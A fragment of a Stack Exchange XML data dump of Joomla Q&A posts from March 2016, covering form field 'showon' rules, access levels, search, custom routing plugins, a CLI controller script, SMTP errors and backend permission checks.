value=&quot;0&quot;&amp;gt;JNO&amp;lt;/option&amp;gt;&#xA;       &amp;lt;option value=&quot;1&quot;&amp;gt;JYES&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;        &#xA;&#xA;&amp;lt;field name=&quot;nested&quot;&#xA;       type=&quot;text&quot;&#xA;       default=&quot;&quot;&#xA;       showon=&quot;main:1,sub:1&quot;&#xA;       label=&quot;LABEL&quot;&#xA;       description=&quot;DESC&quot;&amp;gt;&#xA;&amp;lt;/field&amp;gt;        &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7902" LastEditorUserId="168" LastEditDate="2016-03-01T18:16:23.723" LastActivityDate="2016-10-20T00:44:01.963" Title="Showon with nested fields?" Tags="|joomla-3.4|showon|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15468" PostTypeId="2" ParentId="15464" CreationDate="2016-03-01T18:26:45.057" Score="1" Body="&lt;p&gt;Sorry to tell you mate, but Joomla's built-in Mass Mail is a joke of extension! &#xA;In my nine years of using Joomla I have never been able to use it for anything usefull, and I always felt angry for not being able to disable it as a core extension. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would seriously recommend to you to use decent newsletter extension such as heavy-weight champion &lt;a href=&quot;https://www.acyba.com/acymailing/features.html&quot; rel=&quot;nofollow&quot;&gt;AcyMailing&lt;/a&gt;, which is even in it's smallest and free Starter Edition, very powerful and reliable.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2016-03-05T00:06:13.423" LastActivityDate="2016-03-05T00:06:13.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15471" PostTypeId="2" ParentId="15396" CreationDate="2016-03-02T02:53:00.350" Score="2" Body="&lt;p&gt;You can create a new Access Level for your site, from here you can&lt;br/&gt; control which users can view which objects on your site, like modules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create your new access level in &lt;strong&gt;Users&lt;/strong&gt; &gt; &lt;strong&gt;Access Level&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, assign to your user group the new access level, then that users &lt;br/&gt;can view the modules assigned to this access level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your modules you can see an option for Access Level:&lt;br/&gt;&#xA;Regards!.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/Np9pZ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Np9pZ.png&quot; alt=&quot;Access Level - Joomla! 3&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-03-02T02:53:00.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15472" PostTypeId="2" ParentId="15406" CreationDate="2016-03-02T03:19:28.800" Score="1" Body="&lt;p&gt;If you are using the default Search Component, you can't filter by categories, but&lt;br/&gt; we have some solutions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use another search component, in joomla! you also have a&#xA;&lt;strong&gt;Smart Search&lt;/strong&gt; &lt;br/&gt;Component, you can find this under:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Components&lt;/strong&gt; &gt; &lt;strong&gt;Smart Search&lt;/strong&gt; and &lt;br /&gt;&#xA;&lt;strong&gt;Extensions&lt;/strong&gt; &gt; &lt;strong&gt;Modules&lt;/strong&gt; &gt; &lt;strong&gt;New&lt;/strong&gt; &gt; &lt;strong&gt;Smart Search&lt;/strong&gt;, you have some configuration in:&lt;br/&gt; &#xA;&lt;strong&gt;System&lt;/strong&gt; &gt; &lt;strong&gt;Global Configuration&lt;/strong&gt; &gt; &lt;strong&gt;Smart Search&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the front-end you can see something like the screenshot:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/MVlqh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MVlqh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you can use some extensions like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/search-a-indexing/site-search/bt-smart-search&quot; rel=&quot;nofollow noreferrer&quot;&gt;BT Smart Search&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/search-a-indexing/site-search/universal-ajax-live-search&quot; rel=&quot;nofollow noreferrer&quot;&gt;Universal Ajax Live Search&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Regards!&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-03-02T03:19:28.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15473" PostTypeId="2" ParentId="14538" CreationDate="2016-03-02T04:01:11.760" Score="1" Body="&lt;p&gt;One way to accomplish this is to write a custom build and parse rule in a system plugin. This hooking into the content router that converts urls from /index.php?option=com_content&amp;amp;view=article&amp;amp;id=2 to /2-article-alias and back.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://github.com/blackbricksoftware/multicampus&quot; rel=&quot;nofollow&quot;&gt;https://github.com/blackbricksoftware/multicampus&lt;/a&gt; for an example. A skeleton of what is needed is below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PlgSystemChangearticleurls extends JPlugin {&#xA;&#xA;    public function onAfterInitialise() {&#xA;        $app = JFactory::getApplication(); &#xA;        $doc = JFactory::getDocument();&#xA;&#xA;        if ($app-&amp;gt;isAdmin()) return;&#xA;&#xA;        $router = $app-&amp;gt;getRouter();&#xA;        $router-&amp;gt;attachBuildRule(array($this, 'buildRule'));&#xA;        $router-&amp;gt;attachParseRule(array($this, 'parseRule'));&#xA;    }&#xA;&#xA;    public function buildRule(&amp;amp;$router, &amp;amp;$uri) {&#xA;        /* adapt display of urls */&#xA;    }&#xA;&#xA;    public function parseRule(&amp;amp;$router, &amp;amp;$uri) {&#xA;        /* adapt routing of urls to corrent item */&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7896" LastActivityDate="2016-03-02T04:01:11.760" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15474" PostTypeId="2" ParentId="8856" CreationDate="2016-03-02T04:07:42.290" Score="1" Body="&lt;p&gt;This worked for me last time I did that.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// login the new user&#xA;$app = JFactory::getApplication();&#xA;$options = array(&#xA;    'remember' =&amp;gt; true,&#xA;    'return' =&amp;gt; '',&#xA;);&#xA;$credentials = array(&#xA;    'username' =&amp;gt; $user['username'],&#xA;    'password' =&amp;gt; $user['password_clear'],&#xA;);&#xA;if ($app-&amp;gt;login($credentials, $options)!==true) $this-&amp;gt;close(false,'Could not login new user account.');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7896" LastActivityDate="2016-03-02T04:07:42.290" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15475" PostTypeId="2" ParentId="15238" CreationDate="2016-03-02T04:25:39.057" Score="2" Body="&lt;p&gt;Here is a CLI script I made that allows you to call controllers just as you would via http. Just add it to the cli folder named something like kewlcomponent.php.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * This is a CRON script which should be called from the command-line,&#xA; * not the web. For example something like:&#xA; * env php /path/to/joomla/cli/app.php&#xA; */&#xA;&#xA;// Make sure we're being called from the command line, not a web interface&#xA;if (PHP_SAPI !== 'cli') die('This is a command line only application.');&#xA;&#xA;// Set flag that this is a valid Joomla entry point&#xA;define('_JEXEC', 1);&#xA;&#xA;// Configure error reporting to maximum for CLI output.&#xA;error_reporting(E_ALL ^ E_NOTICE ^ E_WARNING);&#xA;ini_set('display_errors', 1);&#xA;&#xA;// Load system defines&#xA;if (!defined('_JDEFINES')) {&#xA;    define('JPATH_BASE', dirname(dirname(__FILE__)));&#xA;    require_once JPATH_BASE . '/includes/defines.php';&#xA;}&#xA;require_once JPATH_BASE . '/includes/framework.php';&#xA;&#xA;// Fool Joomla into thinking we're in the administrator with com_kewlcomponent as active component&#xA;$app = JFactory::getApplication('site');&#xA;$_SERVER['HTTP_HOST'] = 'domain.com';&#xA;$_SERVER['REQUEST_METHOD'] = 'GET';&#xA;define('JPATH_COMPONENT', JPATH_BASE . '/components/com_kewlcomponent');&#xA;define('JPATH_COMPONENT_SITE', JPATH_BASE . '/components/com_kewlcomponent');&#xA;define('JPATH_COMPONENT_ADMINISTRATOR', JPATH_BASE . '/administrator/components/com_kewlcomponent');&#xA;&#xA;/* add loaders as necessary */&#xA;JLoader::discover('CH',JPATH_COMPONENT_ADMINISTRATOR.'/helpers');&#xA;JHtml::addIncludePath(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/html');&#xA;JTable::addIncludePath(JPATH_COMPONENT_ADMINISTRATOR.'/tables');&#xA;JFormHelper::addRulePath(JPATH_COMPONENT_ADMINISTRATOR.'/helpers/rule');&#xA;&#xA;$app-&amp;gt;loadLanguage();&#xA;$lang = JFactory::getLanguage();&#xA;$lang-&amp;gt;load('com_kewlcomponent',JPATH_ADMINISTRATOR,'en-GB',true);&#xA;$lang-&amp;gt;load('com_kewlcomponent',JPATH_ADMINISTRATOR,null,true);&#xA;/* end loaders */&#xA;&#xA;class CliKewlcomponent extends JApplicationCli&#xA;{&#xA;    protected $timestamp = null;&#xA;&#xA;    public function __construct(JInputCli $input = null, JRegistry $config = null, JDispatcher $dispatcher = null) {&#xA;&#xA;        $this-&amp;gt;timestamp = time();&#xA;&#xA;        parent::__construct($input, $config, $dispatcher);&#xA;    }&#xA;&#xA;    public function doExecute() {&#xA;&#xA;        $live_site = $this-&amp;gt;input-&amp;gt;get('live_site',null,'string');&#xA;        if (!empty($live_site)) {&#xA;            $liveSiteUri = new Juri($live_site);&#xA;            $_SERVER['HTTP_HOST'] = $liveSiteUri-&amp;gt;getHost();&#xA;            JFactory::getConfig()-&amp;gt;set('live_site',$live_site);&#xA;        }&#xA;&#xA;        $this-&amp;gt;input-&amp;gt;set('option','com_kewlcomponent');&#xA;        $task = $this-&amp;gt;input-&amp;gt;get('task');&#xA;&#xA;        if (empty($task)){&#xA;            $this-&amp;gt;out('No task given');&#xA;            $this-&amp;gt;out('============================');&#xA;            $this-&amp;gt;out();&#xA;            return;&#xA;        }&#xA;&#xA;        $app = JFactory::getApplication();&#xA;&#xA;        // set the form tokens&#xA;        $token = JSession::getFormToken();&#xA;        $this-&amp;gt;input-&amp;gt;set($token,1); &#xA;        $this-&amp;gt;input-&amp;gt;post-&amp;gt;set($token,1); &#xA;        $this-&amp;gt;input-&amp;gt;get-&amp;gt;set($token,1);&#xA;&#xA;        // copy the input we are given&#xA;        $app-&amp;gt;input = $this-&amp;gt;input; &#xA;&#xA;        // run the task&#xA;        $controller = JControllerLegacy::getInstance('Kewlcomponent');&#xA;        if (!$controller-&amp;gt;execute($app-&amp;gt;input-&amp;gt;get('task'))) { // controller breaks up task, need to check new value&#xA;            $this-&amp;gt;out('=============Error=============');&#xA;            $this-&amp;gt;out(&quot;\n\t&quot;.implode(&quot;\n\t&quot;,$controller-&amp;gt;getErrors()).&quot;\n\t&quot;);&#xA;            $this-&amp;gt;out('============================');&#xA;            $this-&amp;gt;out();&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;JApplicationCli::getInstance('CliKewlcomponent')-&amp;gt;execute();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you can call your controller like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php5 public_html/cli/kewlcomponent.php --task=kewlcontroller.publish --live_site=&quot;http://example.com&quot; --anothervariable=&quot;something cool&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You cannot currently pass lists via CLI in Joomla. So you may have to add a little preprocessing before:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app-&amp;gt;input = $this-&amp;gt;input; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7896" LastActivityDate="2016-03-02T04:25:39.057" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15476" PostTypeId="2" ParentId="14836" CreationDate="2016-03-02T04:53:39.903" Score="1" Body="&lt;p&gt;I suspect in the context this is being used, you might want to put ignore_request to true?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe ContentModelArticles::getItems calls ContentModelArticles::populateState (through ContentModelArticles::getListQuery which in turn call ContentModelArticles::getState) which in turn run the code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$value = $app-&amp;gt;input-&amp;gt;get('limit', $app-&amp;gt;get('list_limit', 0), 'uint');&#xA;$this-&amp;gt;setState('list.limit', $value);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;which sets the limit based on $app-&gt;get('list_limit', 0) since 'limit' is likely not passed via request.&lt;/p&gt;&#xA;" OwnerUserId="7896" LastActivityDate="2016-03-02T04:53:39.903" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15478" PostTypeId="1" CreationDate="2016-03-02T06:56:37.280" Score="0" ViewCount="143" Body="&lt;p&gt;I havn't get mail but message comes succesfully. please help me from smtp. And also i have use in HTMl mailing in template.&lt;/p&gt;&#xA;" OwnerUserId="7907" LastActivityDate="2016-03-02T10:14:02.723" Title="Smtp can't send mail Message get successful but mail not getting?" Tags="|joomla-3.x|development|emails|smtp|" AnswerCount="1" CommentCount="0" ClosedDate="2016-03-02T10:22:47.100" ContentLicense="CC BY-SA 3.0" />
  <row Id="15479" PostTypeId="2" ParentId="15478" CreationDate="2016-03-02T10:14:02.723" Score="1" Body="&lt;p&gt;If Joomla receives a code associated with a successful delivery, then it was delivered. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it does not reach the target, then there is something wrong in mailing configuration.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2016-03-02T10:14:02.723" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15482" PostTypeId="1" AcceptedAnswerId="15490" CreationDate="2016-03-02T11:36:08.740" Score="2" ViewCount="170" Body="&lt;p&gt;Here is the thing, I have joomla website with lots of content. Then I found this great template. The thing is, I only have it's quickstart package.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how do I install it's template only? And it's extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sure, with the quickstart package it comes with all of its extensions. So I just need it's template and extensions.&lt;/p&gt;&#xA;" OwnerUserId="7216" LastActivityDate="2016-03-03T21:56:16.487" Title="Is it possible to install template only from quickstart package?" Tags="|joomla-3.x|templates|extensions|installation|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15483" PostTypeId="2" ParentId="15482" CreationDate="2016-03-02T11:46:58.553" Score="1" Body="&lt;p&gt;I'd say there are a couple of approaches for this, but I'll just show you the easiest.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before anything, the most important step is, take a backup of your site, either manually or using Akeeba Backup.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now, in the quickstart zip file, it should show the entire Joomla site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From this zip file, extract the following directories on to your computer:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;administrator&lt;/li&gt;&#xA;&lt;li&gt;components&lt;/li&gt;&#xA;&lt;li&gt;modules&lt;/li&gt;&#xA;&lt;li&gt;libraries&lt;/li&gt;&#xA;&lt;li&gt;plugins&lt;/li&gt;&#xA;&lt;li&gt;templates&lt;/li&gt;&#xA;&lt;li&gt;media&lt;/li&gt;&#xA;&lt;li&gt;images&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Once done, zip all these directories up, and upload the zip file to the root of you online Joomla site. The extract it.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Login to the Joomla administrator and go to: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Extensions&lt;/strong&gt; (&lt;em&gt;top menu&lt;/em&gt;) &gt;&gt; &lt;strong&gt;Manage&lt;/strong&gt; &gt;&gt; &lt;strong&gt;Discover&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It should show you a list of all the extensions from the quickstart package (including the template) and allow you to install them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2016-03-02T11:46:58.553" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15484" PostTypeId="1" AcceptedAnswerId="15541" CreationDate="2016-03-02T12:20:37.550" Score="1" ViewCount="602" Body="&lt;p&gt;I'm extending Joomla 3.x with a custom component.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point, my model has&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;workers: Peter (id: 1), Paul (id: 2), Mary (id: 3)&lt;/li&gt;&#xA;&lt;li&gt;roles: manager(id: 1), teacher (id: 2), advisor (id: 3)&lt;/li&gt;&#xA;&lt;li&gt;links: link roles to a worker&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Now, a worker - say Mary - can have one or multiple roles. With every role comes an individual date when Mary received that role: Mary is teacher since 03/01/2016 and advisor since 02/15/2015.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My links-table:&lt;br&gt;&#xA;&lt;code&gt;links.id: 1, worker.id: 3, role.id: 2, date: 2016-03-01&lt;/code&gt;&lt;br&gt;&#xA;&lt;code&gt;links.id: 2, worker.id: 3, role.id: 3, date: 2015-02-15&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Joomla backend, I have a worker and a role view. In the worker-view, I'd like to go to Mary's profile and add/delete roles. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never seen this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What field type would I use for that? How is it done?&lt;/p&gt;&#xA;" OwnerUserId="7092" LastEditorUserId="7092" LastEditDate="2016-03-02T21:20:20.030" LastActivityDate="2016-03-10T06:24:40.293" Title="Joomla 3.x custom backend component - how to use link table in new and edit view?" Tags="|joomla-3.x|custom-component|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15485" PostTypeId="1" CreationDate="2016-03-02T16:54:28.247" Score="0" ViewCount="288" Body="&lt;p&gt;I'm new to Joomla...wondering if there's a module similar to &lt;a href=&quot;https://devot-ee.com/add-ons/matrix&quot; rel=&quot;nofollow&quot;&gt;ExpressionEngine matrix fields&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, I would like the ability to create a set of grouped custom fields where user can add multiple groups and edit those specific fields, rather than editing an entire Custom HTML field. &lt;/p&gt;&#xA;" OwnerUserId="7021" LastActivityDate="2016-03-04T11:37:39.767" Title="Joomla Custom Fields Module / Matrix" Tags="|joomla-3.x|custom-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15486" PostTypeId="1" AcceptedAnswerId="15495" CreationDate="2016-03-02T17:02:00.220" Score="4" ViewCount="1249" Body="&lt;p&gt;I have searched through forum and couldn't find answer to simple thing that I am trying to accompish&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a new group under &quot;Public&quot; group and I provided that user a permission of &quot;Administrator Login&quot; in global configuration. User can login fine in Admin panel but In one of my system plugin, I want to check if the user has access to the backend. How can I accomplish that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;$isroot = $user-&amp;gt;authorise('core.admin');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but looks like that only detects if user is a super admin. My user with a special group permission by no means is a super user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will apreciate if someone can guide me in a right direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="7811" LastActivityDate="2016-03-03T06:49:36.307" Title="Check if user has access to the backend" Tags="|authentication|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15488" PostTypeId="1" CreationDate="2016-03-02T18:31:23.533" Score="1" ViewCount="534" Body="&lt;p&gt;I'm trying to send an email with SMTP connection through my office365 account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to send form, I receive this message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SMTP Error: data not accepted&lt;br&gt;&#xA;SMTP ERROR: DATA NOT ACCEPTED&lt;/p&gt;&#xA;" OwnerUserId="5617" LastEditorUserId="3650" LastEditDate="2016-03-03T19:24:19.660" LastActivityDate="2016-03-03T19:24:19.660" Title="SMTP error: data not accepted" Tags="|joomla-3.4|smtp|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15489" PostTypeId="1" AcceptedAnswerId="15491" CreationDate="2016-03-02T20:30:27.893" Score="1" ViewCount="65" Body="&lt;p&gt;I'd like to include the search term on the search results page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="7021" LastActivityDate="2016-03-02T22:14:11.360" Title="Add search term to search results page" Tags="|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15490" PostTypeId="2" ParentId="15482" CreationDate="2016-03-02T22:05:36.887" Score="3" Body="&lt;p&gt;Extract the quickstart archive file on your local machine and find the XML file for the template which should contain a list of the files and folders necessary to install the template on it's own.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy these files and folders to a separate folder and create a ZIP archive (including the XML file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should now be able to install this on your Joomla website using the standard installer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extension files can similarly be separated into individual installation files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As @Lodder says, it's probably best to run a backup on your production website as a precaution before trying to install the template or other extensions or maybe try installing on a test copy of Joomla first.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-03-03T21:56:16.487" LastActivityDate="2016-03-03T21:56:16.487" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15491" PostTypeId="2" ParentId="15489" CreationDate="2016-03-02T22:14:11.360" Score="2" Body="&lt;p&gt;Extra to the default search component, we have another search component&lt;br/&gt;&#xA;called &lt;strong&gt;Smart Search&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find this component in:&lt;br/&gt;&#xA;&lt;strong&gt;Components&lt;/strong&gt; &gt; &lt;strong&gt;Smart Search&lt;/strong&gt; and&lt;br/&gt;&#xA;&lt;strong&gt;Extensions&lt;/strong&gt; &gt; &lt;strong&gt;Modules&lt;/strong&gt; &gt; &lt;strong&gt;New&lt;/strong&gt; &gt; &lt;strong&gt;Smart Search&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also have some configuration in:&lt;br/&gt;&#xA;&lt;strong&gt;System&lt;/strong&gt; &gt; &lt;strong&gt;Global Configuration&lt;/strong&gt; &gt; &lt;strong&gt;Smart Search&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From here change to show the field &lt;strong&gt;Query Explanation&lt;/strong&gt;, see the screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/FY4c6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FY4c6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to change the label, go to:&lt;br/&gt;&#xA;&lt;strong&gt;Extensions&lt;/strong&gt; &gt; &lt;strong&gt;Languaje&lt;/strong&gt; &gt; &lt;strong&gt;Overrides&lt;/strong&gt; &gt; &lt;strong&gt;New&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards!&lt;/p&gt;&#xA;" OwnerUserId="7394" LastActivityDate="2016-03-02T22:14:11.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15492" PostTypeId="2" ParentId="15486" CreationDate="2016-03-02T22:25:32.273" Score="0" Body="&lt;p&gt;You can achieve this through the Joomla group ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find the Joomla group ID, go to &lt;code&gt;Users -&amp;gt; Groups&lt;/code&gt; and check the last column. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you have the group ID, you can use this code or similar:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  //Get Group Memberships&#xA;  $user = JFactory::getUser();&#xA;  $groups = $user-&amp;gt;get('groups');&#xA;  foreach($groups as $groupid) {&#xA;    if ($groupid == &quot;8&quot;) $superadmin = &quot;Yes&quot;;&#xA;    if ($groupid == &quot;7&quot;) $admin = &quot;Yes&quot;;&#xA;    if ($groupid == &quot;2&quot;) $registered = &quot;Yes&quot;;&#xA;  }&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="120" LastActivityDate="2016-03-02T22:25:32.273" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15493" PostTypeId="2" ParentId="40" CreationDate="2016-03-02T22:39:54.463" Score="0" Body="&lt;p&gt;There is another free alternative to ByeBye Generator, as it's functionality is a bit limited. The Joomla metadata suite plugin allows you to remove the generator tag or brand it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also remove the author tag, and add in additional metadata items for your social profiles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Download: &lt;a href=&quot;https://webdesignandcompany.com/products/joomla-metadata-suite/&quot; rel=&quot;nofollow&quot;&gt;https://webdesignandcompany.com/products/joomla-metadata-suite/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="7915" LastActivityDate="2016-03-02T22:39:54.463" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15494" PostTypeId="1" CreationDate="2016-03-03T05:43:59.660" Score="0" ViewCount="736" Body="&lt;p&gt;Good evening,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone shed some light on this issue? I had to restore our website from a Backup, once finished the MEDIA MANAGER and some images stopped working. Server Error 500 shows up : (&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried reseting the permissions and fixed the &lt;code&gt;.htaccess&lt;/code&gt; file but I had no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you please advise?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some info:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PHP Built On    Linux web905.opentransfer.com &#xA;Database Version    5.1.68-community-log&#xA;Database Collation  utf8_general_ci&#xA;PHP Version     5.3.29&#xA;Web Server  Apache&#xA;WebServer to PHP Interface  cgi-fcgi&#xA;Joomla! Version     Joomla! 3.3.1 Stable [ Ember ] 11-June-2014 13:30 GMT&#xA;Joomla! Platform Version    Joomla Platform 13.1.0 Stable [ Curiosity ] 24-Apr-2013 00:00 GMT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;THANK YOU!&lt;/p&gt;&#xA;" OwnerUserId="7916" LastEditorUserId="3944" LastEditDate="2016-03-03T06:38:20.047" LastActivityDate="2016-03-03T16:13:11.193" Title="Joomla Media Manager Not working - Server error 500" Tags="|joomla-3.x|php|joomla-3.3.x|server|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15495" PostTypeId="2" ParentId="15486" CreationDate="2016-03-03T06:49:36.307" Score="5" Body="&lt;p&gt;Backend &lt;code&gt;com_login&lt;/code&gt; component &lt;code&gt;LoginController&lt;/code&gt; checks for &lt;code&gt;core.login.admin&lt;/code&gt; permission. This is exactly the one you edited - &lt;code&gt;Administrator Login&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, change permission you are checking and you are good to go:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$user = JFactory::getUser();&#xA;$isroot = $user-&amp;gt;authorise('core.login.admin');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2016-03-03T06:49:36.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
